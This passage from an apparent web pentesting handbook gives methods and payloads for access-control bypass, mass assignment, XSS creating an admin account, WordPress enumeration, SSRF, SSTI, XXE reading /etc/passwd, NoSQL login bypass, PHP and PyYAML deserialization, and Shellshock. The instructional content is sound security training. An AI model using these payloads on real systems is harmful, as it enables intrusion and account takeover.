The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Lower-role request: protected management form visible
Protected action result: not yet tested

Recognize this detail: A visible administrative route is a lead; only a server-side protected effect establishes the missing role check.

Still missing before method selection: Replay a valid authorized action under the lower context and independently inspect its permitted effect.

If you do not yet have this clue: start with Map functions, roles and normal requests manually.

2.2.19.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: The lower-role identity can invoke a protected server-side action without its required authorization.

2.2.19.4 Discover and verify prerequisites

curl -sk -i -b lower-role.cookies http://TARGET:PORT/ADMIN_PATH

2.2.19.5 Why it works

Hiding a button is presentation control. Authorization must be enforced on the server for the exact route/method/action; authentication alone does not grant that action.

2.2.19.6 Execute and choose variants

Replay the same operation as:

anonymous -> ordinary user -> alternate ordinary user -> administrator

Compare UI and API paths, then test the legitimate method variants suggested by captured traffic or documentation.

curl -ski -b user-a.cookies http://TARGET:PORT/admin/PATH
curl -ski -X POST -b user-a.cookies -H 'Content-Type: application/json' -d '{"action":"EXPECTED_ACTION"}' http://TARGET:PORT/api/admin/PATH

2.2.19.7 Worked example — hypothetical

Observation: a low-role account knows an administrative endpoint. Test: replay the authorized action with that account's valid session. Illustrative output: an independent read confirms the protected change. Interpretation: function authorization is missing.

2.2.19.8 Verify the result

Prove the protected effect and requesting identity; a rendered administrative page without action rights is a weaker finding.

2.2.19.9 Failure and fallback

Expired cookies, CSRF checks and wrong methods are request-state failures; preserve the valid baseline before assessing authorization.

2.2.19.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Quick sheet

2.2.20.1 Purpose and result

A verified unauthorized property or role change.

2.2.20.2 Recognition clues

API objects expose role, ownership or security-sensitive properties.

2.2.20.2.1 Find the clue from your starting access

Where to investigate: Read a legitimate API profile and inspect its schema/update request for security-sensitive properties not exposed by the user interface.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -sk -b cookies.txt http://TARGET:PORT/api/PROFILE_PATH

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

{"displayName":"VALUE","ownerId":"USER_ID","role":"user"}

Recognize this detail: Returned owner/role fields identify properties to investigate; they are not evidence that the server binds them on update.

Still missing before method selection: Check accepted writable fields, independent persistence and a resulting permission change.

If you do not yet have this clue: start with Map functions, roles and normal requests manually.

2.2.20.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: The server binds an untrusted property to a persistent security-relevant field without checking permission.

2.2.20.4 Discover and verify prerequisites

curl -sk -b cookies.txt http://TARGET:PORT/api/PROFILE_PATH

2.2.20.5 Why it works

Returning a property does not make it writable. The change must persist and affect authorization; echoing a submitted JSON field is not sufficient.

2.2.20.6 Execute and choose variants

Start with a valid captured registration/update request and add one server-owned property:

curl -ski -X POST -H 'Content-Type: application/json' -d '{"username":"TEST_USER","password":"TEST_PASSWORD","role":"administrator"}' http://TARGET:PORT/api/v1/register

curl -ski http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X OPTIONS http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X PUT -H 'Authorization: Bearer TOKEN' -H 'Content-Type: application/json' -d '{"password":"NEW_PASSWORD"}' http://TARGET:PORT/api/v1/users/USER/password

2.2.20.7 Worked example — hypothetical

Observation: a profile contains a role field. Test: submit one controlled field change using the valid update request. Illustrative output: a separate authenticated request confirms the elevated action. Interpretation: the writable property enabled a privilege transition.

2.2.20.8 Verify the result

Independently reread the object and demonstrate the resulting permitted action under the same account.

2.2.20.9 Failure and fallback

Ignored/filtered fields disprove that specific assignment route; investigate another property or function boundary.

2.2.20.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Operational procedure | Quick sheet

2.2.21.1 Purpose and result

Verified browser-context execution and, when enabled, an application privilege/action transition.

2.2.21.2 Recognition clues

Untrusted input reaches an executable HTML/JavaScript context.

2.2.21.2.1 Find the clue from your starting access

Where to investigate: Locate a normal reflected/stored input and inspect its final HTML/DOM context in the browser rather than treating raw reflection as execution.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -skG --data-urlencode 'PARAM=UNIQUE_MARKER' http://TARGET:PORT/PATH

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Rendered context: <div>UNIQUE_MARKER</div>
Alternate response: &lt;script&gt;...&lt;/script&gt;

Recognize this detail: The output context and escaping determine whether browser execution is plausible; the second form is escaped text.

Still missing before method selection: Verify the actual browser sink/execution, victim origin/role, required interaction and useful authorized same-origin action.

If you do not yet have this clue: start with Map functions, roles and normal requests manually.

2.2.21.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Payload reaches a browser execution sink; any useful privileged action additionally needs a victim context, same-origin access and a valid request state.

2.2.21.4 Discover and verify prerequisites

curl -skG --data-urlencode 'PARAM=UNIQUE_MARKER' http://TARGET:PORT/PATH

2.2.21.5 Why it works

Reflected, stored and DOM-based paths differ in delivery and sink. Browser JavaScript runs with the origin's access; HttpOnly blocks reading a cookie but does not automatically block authenticated same-origin requests.

2.2.21.6 Execute and choose variants

First inject a unique text marker and inspect where it appears in raw HTML and the DOM. Then use a controlled proof appropriate to the context:

<img src=x onerror=alert(document.domain)>

Classify the path:

• reflected: victim must visit a crafted request;
• stored: payload persists and a relevant user later renders it;
• DOM-based: client-side code moves controlled data into an executable DOM sink.

Decisive output: JavaScript executes under the expected application origin and viewer context. Reflection or HTML display alone is not XSS.

Match the proof to the observed parser context rather than trying a random payload list:

Image/SVG/HTML5 event variants are alternative parser entry points, not evidence of distinct vulnerabilities. Inspect the resulting DOM and browser console/CSP before adding encoding or filter-bypass complexity.

HttpOnly prevents JavaScript from reading that cookie, but same-origin XSS may still issue authenticated requests from the victim browser. Recreate a legitimate privileged workflow and obtain its anti-CSRF value first:

fetch('/admin/users/new')
  .then(r => r.text())
  .then(t => {
    const token = new DOMParser().parseFromString(t, 'text/html')
      .querySelector('input[name="csrf"]')?.value;
    return fetch('/admin/users', {
      method: 'POST',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: new URLSearchParams({username:'NEW_USER', password:'NEW_PASSWORD', role:'administrator', csrf:token})
    });
  });

Verification: authenticate as NEW_USER and perform one administrator-only action. If application administration exposes a legitimate plugin/template/file-upload function, continue with web file handling and re-prove server execution.

2.2.21.7 Worked example — hypothetical

Observation: a stored marker is rendered in an administrator-facing page. Test: establish the actual output context and harmless execution proof. Illustrative output: code executes in that browser origin. Interpretation: assess whether a specific privileged same-origin action is reachable.

2.2.21.8 Verify the result

Verify execution in the intended origin/role and independently verify any claimed action; reflection alone is not execution.

2.2.21.9 Failure and fallback

Encoding, CSP, inert contexts or absent victim interaction can break the chain. Preserve browser execution separately from claimed account takeover.

2.2.21.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Operational procedure | Quick sheet

2.2.22.1 Purpose and result

A component-specific exploit candidate or verified administrative feature-to-execution path.

2.2.22.2 Recognition clues

WordPress paths/components or an accepted application administrator credential.

2.2.22.2.1 Find the clue from your starting access

Where to investigate: Confirm WordPress-specific routes/components and inspect the capabilities actually presented after an accepted application login.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -sk -i http://TARGET:PORT/wp-login.php

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Observed paths: /wp-login.php, /wp-content/plugins/COMPONENT/
Authenticated dashboard: USER_ROLE

Recognize this detail: Product/component and role clues guide two different paths: exact component exploit matching or a permitted administrative feature.

Still missing before method selection: Verify build/configuration for a CVE, or actual editor/plugin/file rights plus executable handling for a feature chain.

If you do not yet have this clue: start with Map functions, roles and normal requests manually.

2.2.22.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked.

2.2.22.4 Discover and verify prerequisites

curl -sk -i http://TARGET:PORT/wp-login.php

2.2.22.5 Why it works

WordPress administrator, writable theme/plugin files and operating-system execution are separate facts. Multisite roles, disabled editors and filesystem ownership can remove a familiar route.

2.2.22.6 Execute and choose variants

Recognition: WordPress-specific paths/assets, generator metadata, REST routes or wp-content. Prerequisite: correct scheme, host header and base path. Decisive output: core/plugin/theme identity or an authenticated capability that maps to a concrete prerequisite.

curl -skI https://HOSTNAME/
curl -sk https://HOSTNAME/robots.txt
curl -sk https://HOSTNAME/wp-json/ | head
curl -sk https://HOSTNAME/wp-content/
curl -sk https://HOSTNAME/wp-login.php -o wp-login.html

Inspect page source for /wp-content/plugins/NAME/, /wp-content/themes/NAME/, versioned assets and alternate base paths. A visible version is a candidate, not exploitability proof.

wpscan --url https://HOSTNAME/ --disable-tls-checks \
  --enumerate vp,vt,u --plugins-detection mixed \
  --output wpscan-HOSTNAME.txt

Validate one legitimately acquired credential and then enumerate the role/capabilities it actually grants.

curl -sk -c wp.cookies -b wp.cookies \
  --data-urlencode 'log=USER' \
  --data-urlencode 'pwd=PASSWORD' \
  --data-urlencode 'wp-submit=Log In' \
  --data-urlencode 'redirect_to=https://HOSTNAME/wp-admin/' \
  https://HOSTNAME/wp-login.php -D wp-login.headers

curl -sk -b wp.cookies https://HOSTNAME/wp-admin/ -o wp-admin.html

XML-RPC exposure is a feature clue, not automatically a vulnerability:

curl -sk -X POST https://HOSTNAME/xmlrpc.php \
  -H 'Content-Type: text/xml' \
  --data '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'

2.2.22.7 Worked example — hypothetical

Observation: a credential opens the dashboard. Test: inspect its real capabilities and whether the supported file/plugin feature is enabled. Illustrative output: the editor is disabled. Interpretation: investigate permitted components/data rather than assuming a theme shell.

2.2.22.8 Verify the result

Verify application role and any produced execution identity; component names alone do not establish a vulnerable version.

2.2.22.9 Failure and fallback

Missing editor, insufficient role or read-only filesystem changes the branch. Use exact exploit prerequisite matching or credential reuse.

2.2.22.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Quick sheet

2.2.23.1 Purpose and result

A confirmed server-side request and a bounded internal read/request capability.

2.2.23.2 Recognition clues

URL import, preview, webhook or fetch behavior.

2.2.23.2.1 Find the clue from your starting access

Where to investigate: Browse legitimate import/preview/webhook functions and identify a request whose normal input is a server-fetched URL.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -skG --data-urlencode 'url=http://LHOST:PORT/FETCH_CANARY' http://TARGET:PORT/FETCH_PATH

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Controlled receiver: GET /FETCH_CANARY
Application response: fetched status/preview

Recognize this detail: A correlated receiver event supports server-side fetching; it does not establish internal access or response-readable SSRF.

Still missing before method selection: Separate client-side fetches, server source, destination/protocol restrictions and response visibility.

If you do not yet have this clue: start with Map functions, roles and normal requests manually.

2.2.23.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource.

2.2.23.4 Discover and verify prerequisites

curl -skG --data-urlencode 'url=http://LHOST:PORT/SSRF_CANARY' http://TARGET:PORT/FETCH_PATH

2.2.23.5 Why it works

An external callback proves server-side fetching, not unrestricted internal access. Redirect handling, URL parsing and response visibility determine which follow-on requests are possible.

2.2.23.6 Execute and choose variants

Recognition: URL import, webhook, image/PDF fetch, feed preview, link unfurling or callback validation. Prerequisite: a parameter that the server dereferences. Decisive output: a request observed at a controlled listener or a stable response difference tied to the destination.

Listener:

python3 -m http.server LPORT --bind 0.0.0.0

Hypothetical request replay:

curl -sk 'https://HOSTNAME/fetch?url=http://LHOST:LPORT/ssrf-marker'

Interpret the path explicitly:

browser/client -> vulnerable application -> requested URL

The application, not Kali, must resolve and reach the destination. A browser-side fetch, open redirect or reflected URL does not prove SSRF.

# Only after an external controlled callback proves server-side fetching
curl -sk 'https://HOSTNAME/fetch?url=http://127.0.0.1:PORT/'
curl -sk 'https://HOSTNAME/fetch?url=http://localhost:PORT/'

# Preserve encoding when the URL is nested in form data
curl -sk -X POST https://HOSTNAME/fetch \
  --data-urlencode 'url=http://127.0.0.1:PORT/'

2.2.23.7 Worked example — hypothetical

Observation: the controlled listener receives a fetch. Test: compare a justified internal endpoint and an unreachable control. Illustrative output: only an internal HTTP response is reflected. Interpretation: map that application boundary without assuming a general network tunnel.

2.2.23.8 Verify the result

Verify source/request evidence and the exact returned internal behavior; separate blind fetches from response-readable SSRF.

2.2.23.9 Failure and fallback

No callback may be DNS, URL validation, egress or application behavior. Test the first failed boundary and avoid indiscriminate destination guessing.

2.2.23.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Quick sheet

2.2.24.1 Purpose and result

A verified template-evaluation primitive and an engine/version-specific next test.

2.2.24.2 Recognition clues

Controlled input appears in a server-rendered template, preview, email or report.

2.2.24.2.1 Find the clue from your starting access

Where to investigate: Inspect mapped previews, reports and server-rendered inputs for template syntax clues; preserve the normal request and literal control.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Literal control: 7*7
Expression response: 49

Recognize this detail: A repeatable computed result supports evaluation in that syntax but does not identify the engine or command capability.

Still missing before method selection: Correlate error/source/framework clues and test a discriminating engine expression before selecting objects.

If you do not yet have this clue: start with Map functions, roles and normal requests manually.

2.2.24.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: The application evaluates attacker-controlled template syntax and the selected engine exposes a useful object or function.

2.2.24.4 Discover and verify prerequisites

curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH

2.2.24.5 Why it works

A computed expression proves evaluation only in that syntax. File or command effects depend on the actual engine, sandbox and exposed objects.

2.2.24.6 Execute and choose variants

Use when controlled text appears inside a server-rendered template, email preview or report. Replay the real parameter and session. These are separate probes, not one universal payload:

2.2.24.6.1 Jinja/Twig-style expression probe

# Jinja/Twig-style expression probe
curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH

2.2.24.6.2 A different delimiter family, only when the first is literal or errors suggest it

# A different delimiter family, only when the first is literal or errors suggest it
curl -sS -G --data-urlencode 'name=${7*7}' http://TARGET:PORT/PATH

2.2.24.6.3 Jinja-versus-Twig clue; interpret alongside source/errors, not in isolation

# Jinja-versus-Twig clue; interpret alongside source/errors, not in isolation
curl -sS -G --data-urlencode "name={{7*'7'}}" http://TARGET:PORT/PATH

Read: changed, repeatable computed output compared with a literal control supports evaluation. 49 alone does not identify the engine. Jinja commonly repeats the string; Twig commonly treats it numerically. Confirm the engine/version and exposed objects before selecting a file-read or command primitive. Literal reflection → inspect another template/input boundary; a syntax error alone does not prove an exploitable expression.

Sources: upstream 1.

2.2.24.7 Worked example — hypothetical

Observation: a preview renders controlled input. Test: compare a literal control and two delimiter families. Illustrative output: one expression computes while the others remain literal. Interpretation: narrow the engine before choosing a primitive.

2.2.24.8 Verify the result

Require repeatable computed output and corroborating engine clues; the value 49 alone does not identify the engine.

2.2.24.9 Failure and fallback

Literal output rejects that syntax in the tested sink; a syntax error can be a parser clue but is not exploitation proof.

2.2.24.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Quick sheet

2.2.25.1 Purpose and result

A verified parser-side file read or a precisely bounded blind parser/network effect.

2.2.25.2 Recognition clues

A working XML request reaches a server-side parser that accepts a controlled document or field.

2.2.25.2.1 Find the clue from your starting access

Where to investigate: Start from a valid XML request and place an external-entity reference in a field whose parsed value is returned.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -i -b cookies.txt -H 'Content-Type: application/xml' --data-binary @xxe.xml http://TARGET:PORT/PATH

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Response field: recognizable local system-file bytes

Recognize this detail: The server parser resolved the entity and read the selected file under its process identity.

Still missing before method selection: Repeat with a benign control and preserve the exact parser/content-type context.

If you do not yet have this clue: start with Map functions, roles and normal requests manually.

2.2.25.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: External entity or XInclude processing is enabled and the parser identity can read the selected file.

2.2.25.4 Discover and verify prerequisites

curl -i -b cookies.txt -H 'Content-Type: application/xml' --data-binary @xxe.xml http://TARGET:PORT/PATH

2.2.25.5 Why it works

The application must parse and resolve the entity; reflected XML, client-side parsing or DTD text alone does not establish file access.

2.2.25.6 Execute and choose variants

Use a working XML request and put the entity reference in a field whose parsed value is returned. Retain the original wrapper, cookies and endpoint. Example body for an XML-compatible endpoint:

<?xml version="1.0"?>
<!DOCTYPE request [<!ENTITY probe SYSTEM "file:///etc/passwd">]>
<request><value>&probe;</value></request>

curl -i -b cookies.txt -H 'Content-Type: application/xml' \
  --data-binary @xxe.xml http://TARGET:PORT/PATH

Read: recognizable file content in the parsed field proves read access; echoing the submitted XML does not. Choose a platform-appropriate file; Windows can use file:///C:/Windows/win.ini. DTD rejection or unresolved entities → check the parser's actual configuration, not more traversal depth.

If the application builds XML around your input and processes XInclude, a separate condition can exist without control over the document's DOCTYPE:

<value xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</value>

A blind endpoint needs an observable parser/network effect before any exfiltration claim. Follow verified config/source reads into credential or application testing.

Sources: upstream 1.

2.2.25.7 Worked example — hypothetical

Observation: an endpoint accepts XML and returns a parsed field. Test: place a local-file entity in that field. Illustrative output: recognizable system-file bytes appear. Interpretation: file read is proven under the parser identity.

2.2.25.8 Verify the result

Require recognizable file content or a uniquely correlated parser-side event, not an echoed request.

2.2.25.9 Failure and fallback

DTD rejection, unresolved entities or no network effect rules out only that parser/configuration route; preserve the working XML baseline.

2.2.25.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Quick sheet

2.2.26.1 Purpose and result

A verified query or authentication transition with a known resulting identity.

2.2.26.2 Recognition clues

A login or search accepts JSON/nested form properties and evidence suggests an operator-based document query.

2.2.26.2.1 Find the clue from your starting access

Where to investigate: Capture the real JSON or nested-form login/search request and compare a wrong scalar, operator object and operator-as-string.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -i -c cookies.txt -H 'Content-Type: application/json' --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Protected profile after request: USER

Recognize this detail: A structured operator changed the query and produced an authenticated state for the named identity.

Still missing before method selection: Verify protected access and identity; ensure the framework parsed an object rather than a string.

If you do not yet have this clue: start with Map functions, roles and normal requests manually.

2.2.26.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: The framework preserves an attacker-controlled operator object and the query uses it without rejecting its type.

2.2.26.4 Discover and verify prerequisites

curl -i -c cookies.txt -H 'Content-Type: application/json' --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN

2.2.26.5 Why it works

An operator object and a string containing operator text are different inputs. A changed response must be tied to query behavior and authenticated state.

2.2.26.6 Execute and choose variants

Use when a login/search accepts structured JSON or nested form parameters and evidence suggests a MongoDB-style query. Start with a normal failed request, then change one value's type.

2.2.26.6.1 A known username with an operator-valued password

# A known username with an operator-valued password
curl -i -c cookies.txt -H 'Content-Type: application/json' \
  --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN

2.2.26.6.2 Distinct context: a form parser that expands bracketed properties

# Distinct context: a form parser that expands bracketed properties
curl -i -c cookies.txt --data-urlencode 'username=USER' \
  --data-urlencode 'password[$ne]=x' http://TARGET:PORT/LOGIN

Read: compare against the same operator encoded as a plain string and against a known wrong password. Confirm the resulting identity through a protected route. A 200/login page or changed error is not authenticated access. Type validation, hashing the supplied password before querying, or removal of $ operators can rule out this route. Broader $ne username queries may select an unexpected first account; keep the intended identity explicit.

Sources: upstream 1.

2.2.26.7 Worked example — hypothetical

Observation: a JSON login accepts nested objects. Test: compare wrong password, operator object and operator-as-string. Illustrative output: only the object yields access as the named user. Interpretation: confirm that identity and map its rights.

2.2.26.8 Verify the result

Verify a protected action and resulting identity; a 200 status or cookie alone is not authentication.

2.2.26.9 Failure and fallback

Schema/type validation, password pre-hashing or operator filtering can reject the route; do not broaden to an unintended first account.

2.2.26.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Quick sheet

2.2.27.1 Purpose and result

A verified gadget effect in the application process context.

2.2.27.2 Recognition clues

Source or request evidence shows controlled serialized PHP data reaches unsafe unserialize.

2.2.27.2.1 Find the clue from your starting access

Where to investigate: Use source, composer metadata and request format to establish unsafe PHP deserialization and loaded gadget classes before generating bytes.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

phpggc -l
phpggc -i Monolog/RCE1

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Source sink: unserialize(INPUT)
Installed dependency: compatible Monolog release

Recognize this detail: The sink and loaded class family supply a gadget-chain candidate; generation alone is not execution.

Still missing before method selection: Match exact version/vector, preserve serialized lengths/encoding and verify one benign effect.

If you do not yet have this clue: start with Map functions, roles and normal requests manually.

2.2.27.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Required gadget classes and compatible dependency versions are loaded; transport preserves exact serialized bytes.

2.2.27.4 Discover and verify prerequisites

phpggc -l
phpggc -i Monolog/RCE1
phpggc -b Monolog/RCE1 system id > payload.b64

2.2.27.5 Why it works

A generated gadget chain is dependency-specific. Base64 changes transport only and must match the application's decode path.

2.2.27.6 Execute and choose variants

Use when a controlled serialized value reaches unsafe unserialize() and the required classes are loaded. Identify dependencies/builds from source or composer.lock first.

2.2.27.6.1 Inspect available families and the exact chain's version/vector requirements

# Inspect available families and the exact chain's version/vector requirements
phpggc -l
phpggc -i Monolog/RCE1

2.2.27.6.2 Example function-call gadget, only when that chain matches the application

# Example function-call gadget, only when that chain matches the application
phpggc -b Monolog/RCE1 system id > payload.b64

Read: base64 is a transport choice, not a bypass—the sink must decode it before deserialization. Preserve raw serialized lengths and binary bytes; use the encoding that the real request expects. A generated payload is not execution proof. Missing classes, rejected object types or a different dependency version → choose a matching chain or another primitive. Verify a benign effect before selecting a shell payload.

Sources: upstream 1.

2.2.27.7 Worked example — hypothetical

Observation: composer.lock and source show a compatible loaded chain and unsafe unserialize. Test: generate a minimal benign effect in the real transport. Illustrative output: the controlled effect occurs once. Interpretation: establish process identity before any session payload.

2.2.27.8 Verify the result

Require the exact dependency/version, sink and attributable effect; successful payload generation proves none of these.

2.2.27.9 Failure and fallback

Missing classes, allowed-class restrictions, length corruption or version mismatch defeats the chain; choose only an evidence-matched family.

2.2.27.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Quick sheet

2.2.28.1 Purpose and result

A verified command or object-construction effect in the loader process.

2.2.28.2 Recognition clues

Source or errors identify server-side Python YAML loading of controlled content.

2.2.28.2.1 Find the clue from your starting access

Where to investigate: Inspect source/errors for the actual Python YAML loader before placing a constructor in the application's required schema.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

!!python/object/apply:os.system ["id"]

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Loader evidence: unsafe loader
Effect: command-specific identity output

Recognize this detail: The application constructed the selected Python object under an unsafe loader.

Still missing before method selection: Confirm loader/version and an attributable effect in the real import/request path.

If you do not yet have this clue: start with Map functions, roles and normal requests manually.

2.2.28.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: The application uses an unsafe PyYAML loader that permits the selected Python object constructor.

2.2.28.4 Discover and verify prerequisites

!!python/object/apply:os.system ["id"]

2.2.28.5 Why it works

YAML syntax is not itself dangerous; the selected loader and allowed constructors define the capability.

2.2.28.6 Execute and choose variants

Use when source or errors identify Python YAML processing with an unsafe loader and you control the loaded YAML. An ordinary JSON field or yaml.safe_load() does not supply this condition.

!!python/object/apply:os.system ["id"]

Put the probe in the actual YAML input/file, preserving its required surrounding structure. Read: attributable command output/effect supports unsafe construction. ConstructorError for the Python tag commonly indicates a loader that does not permit that constructor. Confirm the installed PyYAML version and loader (UnsafeLoader/unsafe load), rather than assuming that any use of YAML permits Python object execution.

Sources: upstream 1.

2.2.28.7 Worked example — hypothetical

Observation: an import feature loads YAML and source names an unsafe loader. Test: submit the minimal constructor in the required surrounding schema. Illustrative output: a command-specific effect appears. Interpretation: verify the process context.

2.2.28.8 Verify the result

Require source/configuration evidence for the loader and an attributable effect; a .yml extension is insufficient.

2.2.28.9 Failure and fallback

ConstructorError often indicates safe or restricted loading. Preserve that negative evidence instead of trying unrelated tags blindly.

2.2.28.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Quick sheet

2.2.29.1 Purpose and result

A verified command effect under the CGI process identity.

2.2.29.2 Recognition clues

A real CGI endpoint invokes Bash and component/patch evidence supports the vulnerable family.

2.2.29.2.1 Find the clue from your starting access

Where to investigate: Confirm a CGI endpoint, Bash invocation and vulnerable component evidence before sending one bounded header probe.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' http://TARGET:PORT/cgi-bin/SCRIPT

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

CGI response: uid=SERVICE_UID(...) gid=...

Recognize this detail: Command-derived identity output supports Shellshock execution under the CGI process.

Still missing before method selection: Separate command output from reflected header text and record the exact script/Bash context.

If you do not yet have this clue: start with Map functions, roles and normal requests manually.

2.2.29.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: HTTP-derived environment data reaches an affected Bash process and the selected command is available.

2.2.29.4 Discover and verify prerequisites

curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' http://TARGET:PORT/cgi-bin/SCRIPT

2.2.29.5 Why it works

Shellshock abuses Bash environment-function parsing; it is not a generic header payload for arbitrary PHP, Java or static routes.

2.2.29.6 Execute and choose variants

Use when a confirmed CGI endpoint passes HTTP-derived environment variables into an affected Bash process. An arbitrary PHP/Java route or a Bash version string alone does not establish this chain.

# Bounded command-effect probe at the actual CGI script
curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' \
  http://TARGET:PORT/cgi-bin/SCRIPT

Read: an attributable UID in the executed CGI response supports the effect; reflection of the header text does not. Header/CGI parsing errors require inspecting the request and script behavior. No effect → re-check the actual component and patch status before selecting another PoC. This is the CVE-2014-6271 family, not a generic command separator for every web input.

Sources: upstream 1.

2.2.29.7 Worked example — hypothetical

Observation: a CGI script and vulnerable Bash dependency are confirmed. Test: send one bounded identity command in a header. Illustrative output: the CGI response contains the target UID. Interpretation: command execution is proven.

2.2.29.8 Verify the result

Require command-derived output distinct from reflected header text and record the CGI identity.

2.2.29.9 Failure and fallback

No effect can mean patched Bash, non-Bash CGI, header sanitization or wrong endpoint; re-check the component before another payload.

2.2.29.10 Continue from the interpreted result